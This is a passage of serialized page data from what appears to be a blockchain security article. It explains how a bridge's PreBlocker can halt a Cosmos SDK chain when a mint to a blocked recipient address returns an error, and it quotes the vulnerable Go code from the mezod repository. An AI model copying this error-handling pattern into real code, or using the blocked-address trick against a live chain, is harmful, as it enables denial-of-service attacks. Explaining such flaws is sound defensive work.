"type":20,"tag":315,"props":79796,"children":79797},{"style":635},[79798],{"type":26,"value":79799}," keeper",{"type":20,"tag":315,"props":79801,"children":79802},{"style":328},[79803],{"type":26,"value":61},{"type":20,"tag":315,"props":79805,"children":79806},{"style":345},[79807],{"type":26,"value":79562},{"type":20,"tag":315,"props":79809,"children":79810},{"style":328},[79811],{"type":26,"value":6131},{"type":20,"tag":315,"props":79813,"children":79814},{"class":317,"line":374},[79815,79820,79824,79828,79832,79836],{"type":20,"tag":315,"props":79816,"children":79817},{"style":635},[79818],{"type":26,"value":79819}," keeper",{"type":20,"tag":315,"props":79821,"children":79822},{"style":328},[79823],{"type":26,"value":61},{"type":20,"tag":315,"props":79825,"children":79826},{"style":345},[79827],{"type":26,"value":79591},{"type":20,"tag":315,"props":79829,"children":79830},{"style":328},[79831],{"type":26,"value":1049},{"type":20,"tag":315,"props":79833,"children":79834},{"style":635},[79835],{"type":26,"value":79600},{"type":20,"tag":315,"props":79837,"children":79838},{"style":328},[79839],{"type":26,"value":380},{"type":20,"tag":315,"props":79841,"children":79842},{"class":317,"line":383},[79843],{"type":20,"tag":315,"props":79844,"children":79845},{"emptyLinePlaceholder":15},[79846],{"type":26,"value":427},{"type":20,"tag":315,"props":79848,"children":79849},{"class":317,"line":407},[79850,79854],{"type":20,"tag":315,"props":79851,"children":79852},{"style":525},[79853],{"type":26,"value":51118},{"type":20,"tag":315,"props":79855,"children":79856},{"style":541},[79857],{"type":26,"value":79858}," nil\n",{"type":20,"tag":315,"props":79860,"children":79861},{"class":317,"line":421},[79862],{"type":20,"tag":315,"props":79863,"children":79864},{"style":328},[79865],{"type":26,"value":577},{"type":20,"tag":219,"props":79867,"children":79869},{"id":79868},"real-world-examples-3",[79870],{"type":26,"value":74947},{"type":20,"tag":29,"props":79872,"children":79873},{},[79874],{"type":26,"value":79875},"Recently, developers have become increasingly aware of unprotected ABCI functions, but this doesn't stop DoS bugs from manifesting. So what is the catch?",{"type":20,"tag":29,"props":79877,"children":79878},{},[79879,79881,79887,79889,79894,79896,79902,79904,79910,79912,79918],{"type":26,"value":79880},"The problem lies in the lack of proper understanding of utility functions. The example here implements a bridge that mints wrapped BTC tokens in the PreBlocker when bridging events are observed. Notably, errors returned by ",{"type":20,"tag":119,"props":79882,"children":79884},{"className":79883},[],[79885],{"type":26,"value":79886},"bankKeeper.SendCoinsFromModuleToAccount",{"type":26,"value":79888}," will be bubbled up through ",{"type":20,"tag":119,"props":79890,"children":79892},{"className":79891},[],[79893],{"type":26,"value":79661},{"type":26,"value":79895}," and halt the chain. It turns out an attacker can force ",{"type":20,"tag":119,"props":79897,"children":79899},{"className":79898},[],[79900],{"type":26,"value":79901},"SendCoinsFromModuleToAccount",{"type":26,"value":79903}," to return an error by setting ",{"type":20,"tag":119,"props":79905,"children":79907},{"className":79906},[],[79908],{"type":26,"value":79909},"recipient",{"type":26,"value":79911}," to some ",{"type":20,"tag":119,"props":79913,"children":79915},{"className":79914},[],[79916],{"type":26,"value":79917},"BlockedAddr",{"type":26,"value":79919},",rendering the code susceptible to DoS attacks.",{"type":20,"tag":29,"props":79921,"children":79922},{},[79923],{"type":20,"tag":35,"props":79924,"children":79927},{"href":79925,"rel":79926},"https://github.com/mezo-org/mezod/blob/d3b1a049a9acce977fdadd245cb381252f101922/x/bridge/keeper/assets_locked.go#L170",[39],[79928],{"type":26,"value":74997},{"type":20,"tag":305,"props":79930,"children":79932},{"code":79931,"language":74422,"meta":7,"className":74423,"style":7},"func (pbh *PreBlockHandler) PreBlocker() sdk.PreBlocker {\n return func(\n ctx sdk.Context,\n req *cmtabci.RequestFinalizeBlock,\n ) (*sdk.ResponsePreBlock, error) {\n ...\n err := pbh.bridgeKeeper.AcceptAssetsLocked(ctx, events)\n if err != nil {\n return nil, fmt.Errorf(\"cannot accept AssetsLocked events: %w\", err)\n }\n ...\n }\n}\n\nfunc (k Keeper) AcceptAssetsLocked(\n ctx sdk.Context,\n events types.AssetsLockedEvents,\n) error {\n ...\n for _, event := range events {\n recipient, err := sdk.AccAddressFromBech32(event.Recipient)\n if err != nil {\n return fmt.Errorf(\"failed to parse recipient address: %w\", err)\n }\n\n if bytes.Equal(event.TokenBytes(), sourceBTCToken) {\n err = k.mintBTC(ctx, recipient, event.Amount)\n if err != nil {\n return fmt.Errorf(\n \"failed to mint BTC for event %v: %w\",\n event.Sequence,\n err,\n )\n }\n } else {\n ...\n }\n }\n ...\n}\n\nfunc (k Keeper) mintBTC(\n ctx sdk.Context,\n recipient sdk.AccAddress,\n amount math.Int,\n) error {\n ...\n err = k.bankKeeper.SendCoinsFromModuleToAccount(\n ctx,\n types.ModuleName,\n recipient,\n coins,\n )\n if err != nil {\n return fmt.Errorf(\"failed to send coins: %w\", err)\n }\n ...\n}\n",[79933],{"type":20,"tag":119,"props":79934,"children":79935},{"__ignoreMap":7},[79936,79989,80004,80027,80057,80093,80101,80157,80181,80231,80238,80245,80252,80259,80266,80297,80320,80345,80360,80367,80404,80458,80481,80522,80529,80536,80587,80648,80671,80694,80706,80727,80739,80747,80754,80769,80777,80784,80791,80798,80805,80812,80843,80866,80891,80916,80931,80938,80975,80986,81007,81018,81030,81037,81060,81100,81107,81114],{"type":20,"tag":315,"props":79937,"children":79938},{"class":317,"line":318},[79939,79943,79947,79952,79956,79961,79965,79969,79973,79977,79981,79985],{"type":20,"tag":315,"props":79940,"children":79941},{"style":541},[79942],{"type":26,"value":74558},{"type":20,"tag":315,"props":79944,"children":79945},{"style":328},[79946],{"type":26,"value":463},{"type":20,"tag":315,"props":79948,"children":79949},{"style":635},[79950],{"type":26,"value":79951},"pbh ",{"type":20,"tag":315,"props":79953,"children":79954},{"style":334},[79955],{"type":26,"value":901},{"type":20,"tag":315,"props":79957,"children":79958},{"style":322},[79959],{"type":26,"value":79960},"PreBlockHandler",{"type":20,"tag":315,"props":79962,"children":79963},{"style":328},[79964],{"type":26,"value":1468},{"type":20,"tag":315,"props":79966,"children":79967},{"style":345},[79968],{"type":26,"value":79661},{"type":20,"tag":315,"props":79970,"children":79971},{"style":328},[79972],{"type":26,"value":12444},{"type":20,"tag":315,"props":79974,"children":79975},{"style":322},[79976],{"type":26,"value":76988},{"type":20,"tag":315,"props":79978,"children":79979},{"style":328},[79980],{"type":26,"value":61},{"type":20,"tag":315,"props":79982,"children":79983},{"style":322},[79984],{"type":26,"value":79661},{"type":20,"tag":315,"props":79986,"children":79987},{"style":328},[79988],{"type":26,"value":1092},{"type":20,"tag":315,"props":79990,"children":79991},{"class":317,"line":356},[79992,79996,80000],{"type":20,"tag":315,"props":79993,"children":79994},{"style":525},[79995],{"type":26,"value":731},{"type":20,"tag":315,"props":79997,"children":79998},{"style":541},[79999],{"type":26,"value":78267},{"type":20,"tag":315,"props":80001,"children":80002},{"style":328},[80003],{"type":26,"value":353},{"type":20,"tag":315,"props":80005,"children":80006},{"class":317,"line":365},[80007,80011,80015,80019,80023],{"type":20,"tag":315,"props":80008,"children":80009},{"style":635},[80010],{"type":26,"value":24602},{"type":20,"tag":315,"props":80012,"children":80013},{"style":322},[80014],{"type":26,"value":76899},{"type":20,"tag":315,"props":80016,"children":80017},{"style":328},[80018],{"type":26,"value":61},{"type":20,"tag":315,"props":80020,"children":80021},{"style":322},[80022],{"type":26,"value":74607},{"type":20,"tag":315,"props":80024,"children":80025},{"style":328},[80026],{"type":26,"value":643},{"type":20,"tag":315,"props":80028,"children":80029},{"class":317,"line":374},[80030,80035,80039,80044,80048,80053],{"type":20,"tag":315,"props":80031,"children":80032},{"style":635},[80033],{"type":26,"value":80034}," req",{"type":20,"tag":315,"props":80036,"children":80037},{"style":334},[80038],{"type":26,"value":8216},{"type":20,"tag":315,"props":80040,"children":80041},{"style":322},[80042],{"type":26,"value":80043},"cmtabci",{"type":20,"tag":315,"props":80045,"children":80046},{"style":328},[80047],{"type":26,"value":61},{"type":20,"tag":315,"props":80049,"children":80050},{"style":322},[80051],{"type":26,"value":80052},"RequestFinalizeBlock",{"type":20,"tag":315,"props":80054,"children":80055},{"style":328},[80056],{"type":26,"value":643},{"type":20,"tag":315,"props":80058,"children":80059},{"class":317,"line":383},[80060,80064,80068,80072,80076,80081,80085,80089],{"type":20,"tag":315,"props":80061,"children":80062},{"style":328},[80063],{"type":26,"value":78335},{"type":20,"tag":315,"props":80065,"children":80066},{"style":334},[80067],{"type":26,"value":901},{"type":20,"tag":315,"props":80069,"children":80070},{"style":322},[80071],{"type":26,"value":76988},{"type":20,"tag":315,"props":80073,"children":80074},{"style":328},[80075],{"type":26,"value":61},{"type":20,"tag":315,"props":80077,"children":80078},{"style":322},[80079],{"type":26,"value":80080},"ResponsePreBlock",{"type":20,"tag":315,"props":80082,"children":80083},{"style":328},[80084],{"type":26,"value":44},{"type":20,"tag":315,"props":80086,"children":80087},{"style":322},[80088],{"type":26,"value":13264},{"type":20,"tag":315,"props":80090,"children":80091},{"style":328},[80092],{"type":26,"value":549},{"type":20,"tag":315,"props":80094,"children":80095},{"class":317,"line":407},[80096],{"type":20,"tag":315,"props":80097,"children":80098},{"style":334},[80099],{"type":26,"value":80100}," ...\n",{"type":20,"tag":315,"props":80102,"children":80103},{"class":317,"line":421},[80104,80109,80113,80118,80122,80127,80131,80136,80140,80144,80148,80153],{"type":20,"tag":315,"props":80105,"children":80106},{"style":635},[80107],{"type":26,"value":80108}," err",{"type":20,"tag":315,"props":80110,"children":80111},{"style":334},[80112],{"type":26,"value":74674},{"type":20,"tag":315,"props":80114,"children":80115},{"style":635},[80116],{"type":26,"value":80117}," pbh",{"type":20,"tag":315,"props":80119,"children":80120},{"style":328},[80121],{"type":26,"value":61},{"type":20,"tag":315,"props":80123,"children":80124},{"style":635},[80125],{"type":26,"value":80126},"bridgeKeeper",{"type":20,"tag":315,"props":80128,"children":80129},{"style":328},[80130],{"type":26,"value":61},{"type":20,"tag":315,"props":80132,"children":80133},{"style":345},[80134],{"type":26,"value":80135},"AcceptAssetsLocked",{"type":20,"tag":315,"props":80137,"children":80138},{"style":328},[80139],{"type":26,"value":1049},{"type":20,"tag":315,"props":80141,"children":80142},{"style":635},[80143],{"type":26,"value":18684},{"type":20,"tag":315,"props":80145,"children":80146},{"style":328},[80147],{"type":26,"value":44},{"type":20,"tag":315,"props":80149,"children":80150},{"style":635},[80151],{"type":26,"value":80152},"events",{"type":20,"tag":315,"props":80154,"children":80155},{"style":328},[80156],{"type":26,"value":380},{"type":20,"tag":315,"props":80158,"children":80159},{"class":317,"line":430},[80160,80164,80168,80172,80177],{"type":20,"tag":315,"props":80161,"children":80162},{"style":525},[80163],{"type":26,"value":1654},{"type":20,"tag":315,"props":80165,"children":80166},{"style":635},[80167],{"type":26,"value":46772},{"type":20,"tag":315,"props":80169,"children":80170},{"style":334},[80171],{"type":26,"value":62641},{"type":20,"tag":315,"props":80173,"children":80174},{"style":541},[80175],{"type":26,"value":80176}," nil",{"type":20,"tag":315,"props":80178,"children":80179},{"style":328},[80180],{"type":26,"value":1092},{"type":20,"tag":315,"props":80182,"children":80183},{"class":317,"line":453},[80184,80188,80192,80196,80201,80205,80210,80214,80219,80223,80227],{"type":20,"tag":315,"props":80185,"children":80186},{"style":525},[80187],{"type":26,"value":77334},{"type":20,"tag":315,"props":80189,"children":80190},{"style":541},[80191],{"type":26,"value":80176},{"type":20,"tag":315,"props":80193,"children":80194},{"style":328},[80195],{"type":26,"value":44},{"type":20,"tag":315,"props":80197,"children":80198},{"style":635},[80199],{"type":26,"value":80200},"fmt",{"type":20,"tag":315,"props":80202,"children":80203},{"style":328},[80204],{"type":26,"value":61},{"type":20,"tag":315,"props":80206,"children":80207},{"style":345},[80208],{"type":26,"value":80209},"Errorf",{"type":20,"tag":315,"props":80211,"children":80212},{"style":328},[80213],{"type":26,"value":1049},{"type":20,"tag":315,"props":80215,"children":80216},{"style":2652},[80217],{"type":26,"value":80218},"\"cannot accept AssetsLocked events: %w\"",{"type":20,"tag":315,"props":80220,"children":80221},{"style":328},[80222],{"type":26,"value":44},{"type":20,"tag":315,"props":80224,"children":80225},{"style":635},[80226],{"type":26,"value":46671},{"type":20,"tag":315,"props":80228,"children":80229},{"style":328},[80230],{"type":26,"value":380},{"type":20,"tag":315,"props":80232,"children":80233},{"class":317,"line":486},[80234],{"type":20,"tag":315,"props":80235,"children":80236},{"style":328},[80237],{"type":26,"value":1728},{"type":20,"tag":315,"props":80239,"children":80240},{"class":317,"line":499},[80241],{"type":20,"tag":315,"props":80242,"children":80243},{"style":334},[80244],{"type":26,"value":80100},{"type":20,"tag":315,"props":80246,"children":80247},{"class":317,"line":513},[80248],{"type":20,"tag":315,"props":80249,"children":80250},{"style":328},[80251],{"type":26,"value":1736},{"type":20,"tag":315,"props":80253,"children":80254},{"class":317,"line":521},[80255],{"type":20,"tag":315,"props":80256,"children":80257},{"style":328},[80258],{"type":26,"value":577},{"type":20,"tag":315,"props":80260,"children":80261},{"class":317,"line":552},[80262],{"type":20,"tag":315,"props":80263,"children":80264},{"emptyLinePlaceholder":15},[80265],{"type":26,"value":427},{"type":20,"tag":315,"props":80267,"children":80268},{"class":317,"line":571},[80269,80273,80277,80281,80285,80289,80293],{"type":20,"tag":315,"props":80270,"children":80271},{"style":541},[80272],{"type":26,"value":74558},{"type":20,"tag":315,"props":80274,"children":80275},{"style":328},[80276],{"type":26,"value":463},{"type":20,"tag":315,"props":80278,"children":80279},{"style":635},[80280],{"type":26,"value":79386},{"type":20,"tag":315,"props":80282,"children":80283},{"style":322},[80284],{"type":26,"value":78203},{"type":20,"tag":315,"props":80286,"children":80287},{"style":328},[80288],{"type":26,"value":1468},{"type":20,"tag":315,"props":80290,"children":80291},{"style":345},[80292],{"type":26,"value":80135},{"type":20,"tag":315,"props":80294,"children":80295},{"style":328},[80296],{"type":26,"value":353},{"type":20,"tag":315,"props":80298,"children":80299},{"class":317,"line":2031},[80300,80304,80308,80312,80316],{"type":20,"tag":315,"props":80301,"children":80302},{"style":635},[80303],{"type":26,"value":18627},{"type":20,"tag":315,"props":80305,"children":80306},{"style":322},[80307],{"type":26,"value":76899},{"type":20,"tag":315,"props":80309,"children":80310},{"style":328},[80311],{"type":26,"value":61},{"type":20,"tag":315,"props":80313,"children":80314},{"style":322},[80315],{"type":26,"value":74607},{"type":20,"tag":315,"props":80317,"children":80318},{"style":328},[80319],{"type":26,"value":643},{"type":20,"tag":315,"props":80321,"children":80322},{"class":317,"line":2053},[80323,80328,80332,80336,80341],{"type":20,"tag":315,"props":80324,"children":80325},{"style":635},[80326],{"type":26,"value":80327}," events",{"type":20,"tag":315,"props":80329,"children":80330},{"style":322},[80331],{"type":26,"value":76433},{"type":20,"tag":315,"props":80333,"children":80334},{"style":328},[80335],{"type":26,"value":61},{"type":20,"tag":315,"props":80337,"children":80338},{"style":322},[80339],{"type":26,"value":80340},"AssetsLockedEvents",{"type":20,"tag":315,"props":80342,"children":80343},{"style":328},[80344],{"type":26,"value":643},{"type":20,"tag":315,"props":80346,"children":80347},{"class":317,"line":2061},[80348,80352,80356],{"type":20,"tag":315,"props":80349,"children":80350},{"style":328},[80351],{"type":26,"value":1468},{"type":20,"tag":315,"props":80353,"children":80354},{"style":322},[80355],{"type":26,"value":13264},{"type":20,"tag":315,"props":80357,"children":80358},{"style":328},[80359],{"type":26,"value":1092},{"type":20,"tag":315,"props":80361,"children":80362},{"class":317,"line":2070},[80363],{"type":20,"tag":315,"props":80364,"children":80365},{"style":334},[80366],{"type":26,"value":18743},{"type":20,"tag":315,"props":80368,"children":80369},{"class":317,"line":2139},[80370,80374,80378,80382,80387,80391,80395,80400],{"type":20,"tag":315,"props":80371,"children":80372},{"style":525},[80373],{"type":26,"value":1413},{"type":20,"tag":315,"props":80375,"children":80376},{"style":635},[80377],{"type":26,"value":1418},{"type":20,"tag":315,"props":80379,"children":80380},{"style":328},[80381],{"type":26,"value":44},{"type":20,"tag":315,"props":80383,"children":80384},{"style":635},[80385],{"type":26,"value":80386},"event",{"type":20,"tag":315,"props":80388,"children":80389},{"style":334},[80390],{"type":26,"value":74674},{"type":20,"tag":315,"props":80392,"children":80393},{"style":525},[80394],{"type":26,"value":75657},{"type":20,"tag":315,"props":80396,"children":80397},{"style":635},[80398],{"type":26,"value":80399}," events",{"type":20,"tag":315,"props":80401,"children":80402},{"style":328},[80403],{"type":26,"value":1092},{"type":20,"tag":315,"props":80405,"children":80406},{"class":317,"line":2147},[80407,80412,80416,80420,80424,80428,80432,80437,80441,80445,80449,80454],{"type":20,"tag":315,"props":80408,"children":80409},{"style":635},[80410],{"type":26,"value":80411}," recipient",{"type":20,"tag":315,"props":80413,"children":80414},{"style":328},[80415],{"type":26,"value":44},{"type":20,"tag":315,"props":80417,"children":80418},{"style":635},[80419],{"type":26,"value":46671},{"type":20,"tag":315,"props":80421,"children":80422},{"style":334},[80423],{"type":26,"value":74674},{"type":20,"tag":315,"props":80425,"children":80426},{"style":635},[80427],{"type":26,"value":76899},{"type":20,"tag":315,"props":80429,"children":80430},{"style":328},[80431],{"type":26,"value":61},{"type":20,"tag":315,"props":80433,"children":80434},{"style":345},[80435],{"type":26,"value":80436},"AccAddressFromBech32",{"type":20,"tag":315,"props":80438,"children":80439},{"style":328},[80440],{"type":26,"value":1049},{"type":20,"tag":315,"props":80442,"children":80443},{"style":635},[80444],{"type":26,"value":80386},{"type":20,"tag":315,"props":80446,"children":80447},{"style":328},[80448],{"type":26,"value":61},{"type":20,"tag":315,"props":80450,"children":80451},{"style":635},[80452],{"type":26,"value":80453},"Recipient",{"type":20,"tag":315,"props":80455,"children":80456},{"style":328},[80457],{"type":26,"value":380},{"type":20,"tag":315,"props":80459,"children":80460},{"class":317,"line":2177},[80461,80465,80469,80473,80477],{"type":20,"tag":315,"props":80462,"children":80463},{"style":525},[80464],{"type":26,"value":1654},{"type":20,"tag":315,"props":80466,"children":80467},{"style":635},[80468],{"type":26,"value":46772},{"type":20,"tag":315,"props":80470,"children":80471},{"style":334},[80472],{"type":26,"value":62641},{"type":20,"tag":315,"props":80474,"children":80475},{"style":541},[80476],{"type":26,"value":80176},{"type":20,"tag":315,"props":80478,"children":80479},{"style":328},[80480],{"type":26,"value":1092},{"type":20,"tag":315,"props":80482,"children":80483},{"class":317,"line":2185},[80484,80488,80493,80497,80501,80505,80510,80514,80518],{"type":20,"tag":315,"props":80485,"children":80486},{"style":525},[80487],{"type":26,"value":77334},{"type":20,"tag":315,"props":80489,"children":80490},{"style":635},[80491],{"type":26,"value":80492}," fmt",{"type":20,"tag":315,"props":80494,"children":80495},{"style":328},[80496],{"type":26,"value":61},{"type":20,"tag":315,"props":80498,"children":80499},{"style":345},[80500],{"type":26,"value":80209},{"type":20,"tag":315,"props":80502,"children":80503},{"style":328},[80504],{"type":26,"value":1049},{"type":20,"tag":315,"props":80506,"children":80507},{"style":2652},[80508],{"type":26,"value":80509},"\"failed to parse recipient address: %w\"",{"type":20,"tag":315,"props":80511,"children":80512},{"style":328},[80513],{"type":26,"value":44},{"type":20,"tag":315,"props":80515,"children":80516},{"style":635},[80517],{"type":26,"value":46671},{"type":20,"tag":315,"props":80519,"children":80520},{"style":328},[80521],{"type":26,"value":380},{"type":20,"tag":315,"props":80523,"children":80524},{"class":317,"line":2217},[80525],{"type":20,"tag":315,"props":80526,"children":80527},{"style":328},[80528],{"type":26,"value":1728},{"type":20,"tag":315,"props":80530,"children":80531},{"class":317,"line":2225},[80532],{"type":20,"tag":315,"props":80533,"children":80534},{"emptyLinePlaceholder":15},[80535],{"type":26,"value":427},{"type":20,"tag":315,"props":80537,"children":80538},{"class":317,"line":2285},[80539,80543,80548,80552,80557,80561,80565,80569,80574,80578,80583],{"type":20,"tag":315,"props":80540,"children":80541},{"style":525},[80542],{"type":26,"value":1654},{"type":20,"tag":315,"props":80544,"children":80545},{"style":635},[80546],{"type":26,"value":80547}," bytes",{"type":20,"tag":315,"props":80549,"children":80550},{"style":328},[80551],{"type":26,"value":61},{"type":20,"tag":315,"props":80553,"children":80554},{"style":345},[80555],{"type":26,"value":80556},"Equal",{"type":20,"tag":315,"props":80558,"children":80559},{"style":328},[80560],{"type":26,"value":1049},{"type":20,"tag":315,"props":80562,"children":80563},{"style":635},[80564],{"type":26,"value":80386},{"type":20,"tag":315,"props":80566,"children":80567},{"style":328},[80568],{"type":26,"value":61},{"type":20,"tag":315,"props":80570,"children":80571},{"style":345},[80572],{"type":26,"value":80573},"TokenBytes",{"type":20,"tag":315,"props":80575,"children":80576},{"style":328},[80577],{"type":26,"value":16778},{"type":20,"tag":315,"props":80579,"children":80580},{"style":635},[80581],{"type":26,"value":80582},"sourceBTCToken",{"type":20,"tag":315,"props":80584,"children":80585},{"style":328},[80586],{"type":26,"value":549},{"type":20,"tag":315,"props":80588,"children":80589},{"class":317,"line":7444},[80590,80595,80599,80603,80607,80612,80616,80620,80624,80628,80632,80636,80640,80644],{"type":20,"tag":315,"props":80591,"children":80592},{"style":635},[80593],{"type":26,"value":80594}," err",{"type":20,"tag":315,"props":80596,"children":80597},{"style":334},[80598],{"type":26,"value":1395},{"type":20,"tag":315,"props":80600,"children":80601},{"style":635},[80602],{"type":26,"value":79514},{"type":20,"tag":315,"props":80604,"children":80605},{"style":328},[80606],{"type":26,"value":61},{"type":20,"tag":315,"props":80608,"children":80609},{"style":345},[80610],{"type":26,"value":80611},"mintBTC",{"type":20,"tag":315,"props":80613,"children":80614},{"style":328},[80615],{"type":26,"value":1049},{"type":20,"tag":315,"props":80617,"children":80618},{"style":635},[80619],{"type":26,"value":18684},{"type":20,"tag":315,"props":80621,"children":80622},{"style":328},[80623],{"type":26,"value":44},{"type":20,"tag":315,"props":80625,"children":80626},{"style":635},[80627],{"type":26,"value":79909},{"type":20,"tag":315,"props":80629,"children":80630},{"style":328},[80631],{"type":26,"value":44},{"type":20,"tag":315,"props":80633,"children":80634},{"style":635},[80635],{"type":26,"value":80386},{"type":20,"tag":315,"props":80637,"children":80638},{"style":328},[80639],{"type":26,"value":61},{"type":20,"tag":315,"props":80641,"children":80642},{"style":635},[80643],{"type":26,"value":77313},{"type":20,"tag":315,"props":80645,"children":80646},{"style":328},[80647],{"type":26,"value":380},{"type":20,"tag":315,"props":80649,"children":80650},{"class":317,"line":7462},[80651,80655,80659,80663,80667],{"type":20,"tag":315,"props":80652,"children":80653},{"style":525},[80654],{"type":26,"value":57054},{"type":20,"tag":315,"props":80656,"children":80657},{"style":635},[80658],{"type":26,"value":46772},{"type":20,"tag":315,"props":80660,"children":80661},{"style":334},[80662],{"type":26,"value":62641},{"type":20,"tag":315,"props":80664,"children":80665},{"style":541},[80666],{"type":26,"value":80176},{"type":20,"tag":315,"props":80668,"children":80669},{"style":328},[80670],{"type":26,"value":1092},{"type":20,"tag":315,"props":80672,"children":80673},{"class":317,"line":7507},[80674,80678,80682,80686,80690],{"type":20,"tag":315,"props":80675,"children":80676},{"style":525},[80677],{"type":26,"value":58982},{"type":20,"tag":315,"props":80679,"children":80680},{"style":635},[80681],{"type":26,"value":80492},{"type":20,"tag":315,"props":80683,"children":80684},{"style":328},[80685],{"type":26,"value":61},{"type":20,"tag":315,"props":80687,"children":80688},{"style":345},[80689],{"type":26,"value":80209},{"type":20,"tag":315,"props":80691,"children":80692},{"style":328},[80693],{"type":26,"value":353},{"type":20,"tag":315,"props":80695,"children":80696},{"class":317,"line":7613},[80697,80702],{"type":20,"tag":315,"props":80698,"children":80699},{"style":2652},[80700],{"type":26,"value":80701}," \"failed to mint BTC for event %v: %w\"",{"type":20,"tag":315,"props":80703,"children":80704},{"style":328},[80705],{"type":26,"value":643},{"type":20,"tag":315,"props":80707,"children":80708},{"class":317,"line":21914},[80709,80714,80718,80723],{"type":20,"tag":315,"props":80710,"children":80711},{"style":635},[80712],{"type":26,"value":80713}," event",{"type":20,"tag":315,"props":80715,"children":80716},{"style":328},[80717],{"type":26,"value":61},{"type":20,"tag":315,"props":80719,"children":80720},{"style":635},[80721],{"type":26,"value":80722},"Sequence",{"type":20,"tag":315,"props":80724,"children":80725},{"style":328},[80726],{"type":26,"value":643},{"type":20,"tag":315,"props":80728,"children":80729},{"class":317,"line":21949},[80730,80735],{"type":20,"tag":315,"props":80731,"children":80732},{"style":635},[80733],{"type":26,"value":80734}," err",{"type":20,"tag":315,"props":80736,"children":80737},{"style":328},[80738],{"type":26,"value":643},{"type":20,"tag":315,"props":80740,"children":80741},{"class":317,"line":21957},[80742],{"type":20,"tag":315,"props":80743,"children":80744},{"style":328},[80745],{"type":26,"value":80746}," )\n",{"type":20,"tag":315,"props":80748,"children":80749},{"class":317,"line":21965},[80750],{"type":20,"tag":315,"props":80751,"children":80752},{"style":328},[80753],{"type":26,"value":57138},{"type":20,"tag":315,"props":80755,"children":80756},{"class":317,"line":21974},[80757,80761,80765],{"type":20,"tag":315,"props":80758,"children":80759},{"style":328},[80760],{"type":26,"value":1692},{"type":20,"tag":315,"props":80762,"children":80763},{"style":525},[80764],{"type":26,"value":1087},{"type":20,"tag":315,"props":80766,"children":80767},{"style":328},[80768],{"type":26,"value":1092},{"type":20,"tag":315,"props":80770,"children":80771},{"class":317,"line":22016},[80772],{"type":20,"tag":315,"props":80773,"children":80774},{"style":334},[80775],{"type":26,"value":80776}," ...\n",{"type":20,"tag":315,"props":80778,"children":80779},{"class":317,"line":22049},[80780],{"type":20,"tag":315,"props":80781,"children":80782},{"style":328},[80783],{"type":26,"value":1728},{"type":20,"tag":315,"props":80785,"children":80786},{"class":317,"line":22057},[80787],{"type":20,"tag":315,"props":80788,"children":80789},{"style":328},[80790],{"type":26,"value":1736},{"type":20,"tag":315,"props":80792,"children":80793},{"class":317,"line":22065},[80794],{"type":20,"tag":315,"props":80795,"children":80796},{"style":334},[80797],{"type":26,"value":18743},{"type":20,"tag":315,"props":80799,"children":80800},{"class":317,"line":22074},[80801],{"type":20,"tag":315,"props":80802,"children":80803},{"style":328},[80804],{"type":26,"value":577},{"type":20,"tag":315,"props":80806,"children":80807},{"class":317,"line":22150},[80808],{"type":20,"tag":315,"props":80809,"children":80810},{"emptyLinePlaceholder":15},[80811],{"type":26,"value":427},{"type":20,"tag":315,"props":80813,"children":80814},{"class":317,"line":22183},[80815,80819,80823,80827,80831,80835,80839],{"type":20,"tag":315,"props":80816,"children":80817},{"style":541},[80818],{"type":26,"value":74558},{"type":20,"tag":315,"props":80820,"children":80821},{"style":328},[80822],{"type":26,"value":463},{"type":20,"tag":315,"props":80824,"children":80825},{"style":635},[80826],{"type":26,"value":79386},{"type":20,"tag":315,"props":80828,"children":80829},{"style":322},[80830],{"type":26,"value":78203},{"type":20,"tag":315,"props":80832,"children":80833},{"style":328},[80834],{"type":26,"value":1468},{"type":20,"tag":315,"props":80836,"children":80837},{"style":345},[80838],{"type":26,"value":80611},{"type":20,"tag":315,"props":80840,"children":80841},{"style":328},[80842],{"type":26,"value":353},{"type":20,"tag":315,"props":80844,"children":80845},{"class":317,"line":22191},[80846,80850,80854,80858,80862],{"type":20,"tag":315,"props":80847,"children":80848},{"style":635},[80849],{"type":26,"value":18627},{"type":20,"tag":315,"props":80851,"children":80852},{"style":322},[80853],{"type":26,"value":76899},{"type":20,"tag":315,"props":80855,"children":80856},{"style":328},[80857],{"type":26,"value":61},{"type":20,"tag":315,"props":80859,"children":80860},{"style":322},[80861],{"type":26,"value":74607},{"type":20,"tag":315,"props":80863,"children":80864},{"style":328},[80865],{"type":26,"value":643},{"type":20,"tag":315,"props":80867,"children":80868},{"class":317,"line":22199},[80869,80874,80878,80882,80887],{"type":20,"tag":315,"props":80870,"children":80871},{"style":635},[80872],{"type":26,"value":80873}," recipient",{"type":20,"tag":315,"props":80875,"children":80876},{"style":322},[80877],{"type":26,"value":76899},{"type":20,"tag":315,"props":80879,"children":80880},{"style":328},[80881],{"type":26,"value":61},{"type":20,"tag":315,"props":80883,"children":80884},{"style":322},[80885],{"type":26,"value":80886},"AccAddress",{"type":20,"tag":315,"props":80888,"children":80889},{"style":328},[80890],{"type":26,"value":643},{"type":20,"tag":315,"props":80892,"children":80893},{"class":317,"line":22236},[80894,80898,80903,80907,80912],{"type":20,"tag":315,"props":80895,"children":80896},{"style":635},[80897],{"type":26,"value":59836},{"type":20,"tag":315,"props":80899,"children":80900},{"style":322},[80901],{"type":26,"value":80902}," math",{"type":20,"tag":315,"props":80904,"children":80905},{"style":328},[80906],{"type":26,"value":61},{"type":20,"tag":315,"props":80908,"children":80909},{"style":322},[80910],{"type":26,"value":80911},"Int",{"type":20,"tag":315,"props":80913,"children":80914},{"style":328},[80915],{"type":26,"value":643},{"type":20,"tag":315,"props":80917,"children":80918},{"class":317,"line":22249},[80919,80923,80927],{"type":20,"tag":315,"props":80920,"children":80921},{"style":328},[80922],{"type":26,"value":1468},{"type":20,"tag":315,"props":80924,"children":80925},{"style":322},[80926],{"type":26,"value":13264},{"type":20,"tag":315,"props":80928,"children":80929},{"style":328},[80930],{"type":26,"value":1092},{"type":20,"tag":315,"props":80932,"children":80933},{"class":317,"line":22262},[80934],{"type":20,"tag":315,"props":80935,"children":80936},{"style":334},[80937],{"type":26,"value":18743},{"type":20,"tag":315,"props":80939,"children":80940},{"class":317,"line":22275},[80941,80946,80950,80954,80958,80963,80967,80971],{"type":20,"tag":315,"props":80942,"children":80943},{"style":635},[80944],{"type":26,"value":80945}," 